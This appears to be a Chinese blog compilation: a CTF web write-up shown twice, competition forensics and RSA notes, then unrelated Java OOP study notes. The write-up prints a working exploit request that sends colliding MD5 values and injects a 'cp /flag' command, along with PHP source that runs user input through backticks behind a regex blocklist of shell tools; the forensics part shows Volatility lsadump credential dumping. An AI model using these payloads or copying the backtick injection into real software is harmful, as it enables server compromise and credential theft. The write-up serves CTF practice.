2021年9月

前言

学长出了道套娃题,花了点时间,没给源码就黑盒硬做。其实给了md5提示的,但没想到。

知识点

这道题难点主要是没给源代码,考点主要是:

* MD5 弱类型
* 代码审计

实践

  1. exp

    POST /index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=cp%20/flag%20/var/www/html/flag HTTP/1.1
    Host: 127.0.0.1:20031
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Length: 307
    Content-Type: application/x-www-form-urlencoded
    
    a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
    

    注意手动改包时需要加上 Content-Type: application/x-www-form-urlencoded
    这样才能发POST数据

  2. 然后访问网站根目录下flag即可

  3. 当时拿到题就开始分析URL,img是一个将文件名hex转换后base64加密2次的结果,当时尝试直接修改内容为/flag取出内容,无果。尝试了各种方法,都不行,最后做出来时发现源码过滤写死了,先是把解码后的内容进行preg_replace,只保留了a-z,A-Z,1-9,. 这些内容。

  4. 然后对第二个cmd进行测试,通过提示发现可能是考的md5弱类型,试了下,发现过滤了大部分使用函数,发现cp未过滤,通过将flag拷贝至网站根目录拿到flag。

  5. 拿到源码果不其然,img是写死了。

  6. 就硬套

    <?php
    error_reporting(E_ALL || ~ E_NOTICE);
    header('content-type:text/html;charset=utf-8');
    $cmd = $_GET['cmd'];
    if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
        header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
    
    $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    if (preg_match("/flag/i", $file)) {
        echo '<img src ="./ctf3.jpeg">';
        die("xixi锝� no flag");
    } else {
        $txt = base64_encode(file_get_contents($file));
        echo "<img src='data:image/gif;base64," . $txt . "'></img>";
        echo "<br>";
    }
    echo $cmd;
    echo "<br>";
    if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
        echo("forbid ~");
        echo "<br>";
    } else {
        if ((string)``_POST['a'] !== (string)``_POST['b'] && md5(``_POST['a']) === md5(``_POST['b'])) {
            echo `$cmd`;
        } else {
            echo ("md5 is funny ~");
        }
    }
    
    ?>
    <html>
    <style>
      body{
       background:url(./bj.png)  no-repeat center center;
       background-size:cover;
       background-attachment:fixed;
       background-color:#CCCCCC;
    }
    </style>
    <body>
    </body>
    </html>
    

前言

学长出了道套娃题,花了点时间,没给源码就黑盒硬做。其实给了md5提示的,但没想到。

知识点

这道题难点主要是没给源代码,考点主要是:

* MD5 弱类型
* 代码审计

实践

  1. exp

    POST /index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=cp%20/flag%20/var/www/html/flag HTTP/1.1
    Host: 127.0.0.1:20031
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Length: 307
    Content-Type: application/x-www-form-urlencoded
    a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

    注意手动改包时需要加上 Content-Type: application/x-www-form-urlencoded

    这样才能发POST数据

  2. 然后访问网站根目录下flag即可

  3. 当时拿到题就开始分析URL,img是一个将文件名hex转换后base64加密2次的结果,当时尝试直接修改内容为/flag取出内容,无果。尝试了各种方法,都不行,最后做出来时发现源码过滤写死了,先是把解码后的内容进行preg_replace,只保留了a-z,A-Z,1-9,.这些内容。

  4. 然后对第二个cmd进行测试,通过提示发现可能是考的md5弱类型,试了下,发现过滤了大部分使用函数,发现cp未过滤,通过将flag拷贝至网站根目录拿到flag。

  5. 拿到源码果不其然,img是写死了。

  6. 就硬套

    <?php
    error_reporting(E_ALL || ~ E_NOTICE);
    header('content-type:text/html;charset=utf-8');
    $cmd = $_GET['cmd'];
    if (!isset($_GET['img']) || !isset($_GET['cmd']))
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
    $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi锝� no flag");
    } else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
    }
    echo $cmd;
    echo "<br>";
    if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
    } else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
    echo `$cmd`;
    } else {
    echo ("md5 is funny ~");
    }
    }
    ?>
    <html>
    <style>
    body{
    background:url(./bj.png) no-repeat center center;
    background-size:cover;
    background-attachment:fixed;
    background-color:#CCCCCC;
    }
    </style>
    <body>
    </body>
    </html>

前言

陇剑杯 x
Misc杯 v

解题过程

  1. 签到
  2. JWT
  3. Webshell
  4. 日志分析
  5. 内存分析


    1. 分析镜像
    2. 直接lsadump拿密码
      vol.py -f Target.vmem --profile=Win7SP1x64 lsadump
    3. 放hex编辑器内
    4. flag{W31C0M3 T0 THiS 34SY F0R3NSiCX}
    5. 然后搜索文件vol.py -f Target.vmem --profile=Win7SP1x64 filescan | grep picture
    6. 找到HUAWEI关键字,然后搜HUAWEI
      vol.py -f Target.vmem --profile=Win7SP1x64 filescan | grep HUAWEI
    7. 把exe文件dump下来,这里有两个,其中一个有问题,都试了下就可以了。

    8. 安装解压后,得到文件夹包。

    9. 网上找到一个解压华为备份包的脚本
      https://github.com/RealityNet/kobackupdec

    10. 然后跑一下脚本,在镜像文件下也有一个tips,把第一个的flag空格转为下划线。

    11. python3 W31C0M3_T0_THiS_34SY_F0R3NSiCX

      我这边已经跑过,所以不会出现代码debug行。

    12. 解压得到flag图片

  6. 简单日志分析

  7. SQL注入

  8. IOS


    1. 打开流量包后,搜索http,然后追踪流发现了这个ip与局域网ip的异常交流

    2. 然后黑客ip就是3.128.156.159
    3. GitHub项目名称为Stowaway
    4. 执行的密钥明文为hack4sec

签到

简单猜谜,根据图片信息猜数字,然后把数字转为md5
28-08-30-07-04-20-02-17-23-01-12-19

BigRSA

N1,N2 取出q,p1,p2
然后求出n1,n2
给出exp

import gmpy2
from Crypto.Util.number import *
def gcd(a, b):
   if a < b:
     a, b = b, a
   while b != 0:
     temp = a % b
     a = b
     b = temp
   return a
n1=103835296409081751860770535514746586815395898427260334325680313648369132661057840680823295512236948953370895568419721331170834557812541468309298819497267746892814583806423027167382825479157951365823085639078738847647634406841331307035593810712914545347201619004253602692127370265833092082543067153606828049061
n2=115383198584677147487556014336448310721853841168758012445634182814180314480501828927160071015197089456042472185850893847370481817325868824076245290735749717384769661698895000176441497242371873981353689607711146852891551491168528799814311992471449640014501858763495472267168224015665906627382490565507927272073
c = 60406168302768860804211220055708551816238816061772464557956985699400782163597251861675967909246187833328847989530950308053492202064477410641014045601986036822451416365957817685047102703301347664879870026582087365822433436251615243854347490600004857861059245403674349457345319269266645006969222744554974358264



print "p: "+str(gcd(n1,n2))
print "q1: "+str(n1/gcd(n1,n2))
print "q2: "+str(n2/gcd(n1,n2))

p = gcd(n1,n2)
q1 = n1/gcd(n1,n2)
q2 = n2/gcd(n1,n2)
e = 65537
d1 = gmpy2.invert(e, (p-1)*(q1-1))
d2 = gmpy2.invert(e, (p-1)*(q2-1))

print(d1)
print(d2)

c_d2 = pow(c,d2,n2)
c_d1 = pow(c_d2,d1,n1)
print(long_to_bytes(c_d1))

01 什么是面向对象 / 面向过程

  1. 面向过程:就是对一件事情的步骤进行逐步实现,可以用于解决较为简单的问题。举个例子,假设我要出门,第一步要先离开位子,第二步要穿鞋,以此类推。这就是对一件事情过程的记录,也就是面向过程的解决方案。但如果我要造一架飞机,我无法一步一步实现,而是要先进行规划,对飞机的整体架构进行了解,将飞机分为多个大部件,然后逐步细化,最后才到动手制造。这就引出了面向对象这个概念。
  2. 面向对象:所谓面向对象,就是对事物在明确需求后进行分析,逐步拆分形成模块化。在大型项目中,便于明确各个人员的分工,提升效率。哪怕是细化后的任务内容,仍需要使用面向对象的思想,这有利于代码的规范化,提高可拓展性。

注释

以下的内容仅针对与个人理解,还有一部分基础知识没有总结,后续将补充。

02 封装

  1. 这里的封装主要是讲的 publicprivate的关系,顾名思义pulic就是公有的意思,private即私有。当给一个变量赋予不同的属性,这个变量就有不同的效果。
  2. 给public属性赋值后能成功输出,但给private赋值则会报错,因为私有属性是无法在外部获取。
  3. 但也有一些方法,如提供public的get/set的方法。

  4. 公共方法则可以被调用,调用公共方法时,公共方法位于私有变量内部,可以对私有变量进行赋值以及获取。

  5. 代码进行封装(设为私有),在外部就无法知道内部代码是如何运作的,提高了代码的安全性以及规范性。

03 类的继承

  1. 继承是类中很重要的一个属性,首先要有子属性与父属性的概念。
  2. 继承属性的使用方法是在对象名后加上extends以及继承对象名,也就是继承的意思。

  3. 继承后,就能使用继承对象(父项,后面统称为父项)中的内容。这里对在Person类中进行一些简单的赋值。

  4. 在继承父项后,子项就能使用父项的公有方法以及公有属性。

  5. 继承也涵盖的封装的内容,无法使用私有内容,如需使用需要设置get/set的公有方法。

04 Super方式的使用

  1. super的使用方式与继承相同,是继承的一种特有表现,用于显示父项的属性。


  2. 这里可以看到使用了thissuper有着不同的效果。
  3. 当一个类其继承的父类与本身都具有同一属性时,不加super会默认使用本身的属性。


  4. 以上表述同样可以用于方法的继承。

05 方法重写

  1. 当一个类不想使用其父类的继承方法而想自己重新编写时,无需更改父类方法,通过方法重写即可重写编写方法。

  2. 使用场景,如子类也想使用run这个方法,但想使run方法执行其他命令,这里就可以使用方法重写。command + N 即可

06 多态

  1. 多态时用来体现类与类的继承关系,比如

    图中的Stu类属于Person类,Person类属于Object类。

  2. 子类可以调用父类的属性,但父类无法调用子类的属性。


    就像这里Object类中没有test方法,test方法是Stu中的,因此无法调用需要进行类型的强制转换。

  3. 多态这个概念只存在于方法,不存在于属性。

07 instanceof与类型转换

  1. instanceof 这个方法用于判断两个类的关系,比如Stu继承与Person,他们都继承与Object,这就说明Object与二者都有关系,Stu与Person有关系。Object与String有关系,但String与Stu、Person都无关系。
  2. instanceof 返回是bool类型
  3. 类型转换,就是在变量前加上转换类型即可。

    这里就是对s2进行了类型的强制转换为Stu类型,这样就能够使用Stu中的方法。

08 static关键字详解

  1. static顾名思义就是静态的意思,他会在调用这个对象时就进行创建生成。

  2. 设置为static后,在调用类时就可以直接使用。

  3. 未设置static的变量则无法直接使用,需要通过生成对象后才能调用。

  4. static方法的生成优先等级 > 匿名方法 > 构建方法

09 抽象类

  1. 抽象类 就是在使用了abstract后,就变成了必须要先重写代码才能使用的一种定义类的方法。
  2. 抽象类是一种灵活的类,可以在里面只定义接口,不写方法,也可以在里面写方法。但这样规范化不严谨,没有接口类实用。
  3. 抽象类被继承时,其抽象方法必须被重写。

  4. 或者将该类也定义为抽象类。

  5. 这里可以看到在重写抽象方法后,就可以调用抽象类。

  6. 抽象方法必须通过抽象类来存放,抽象类中可以不包含抽象方法。

10 interface 接口类

  1. 接口类就是一种比抽象类更为绝对的类,接口类只能用于定义参数,无法进行实现。这是面向对象编程的最重要的方式之一。就像开始说的,要先对事物进行分析、细化,然后才是实现。在分析、细化后,就将各个部分写成接口类,依照接口类的需求来实现方法。这就是面向对象编程。
  2. 接口类定义利用 inferface 来定义,只需要编写相应的需求参数。

  3. 然后建立一个带Impl后缀的Java文件,在该文件中实现刚刚写好的接口。

  4. 这里报错的原因就是没有重写接口,当我们将接口重写后,这个接口类就完成了。

  5. 需求参数也和我们定义的接口类一致,这就是接口类的具体使用,也是我们面向对象编程的核心思想。

总结

写得比较仓促,将今天学的Java面向对象编程的基础复盘了一下。还有很多地方没写清楚,后续还会关系。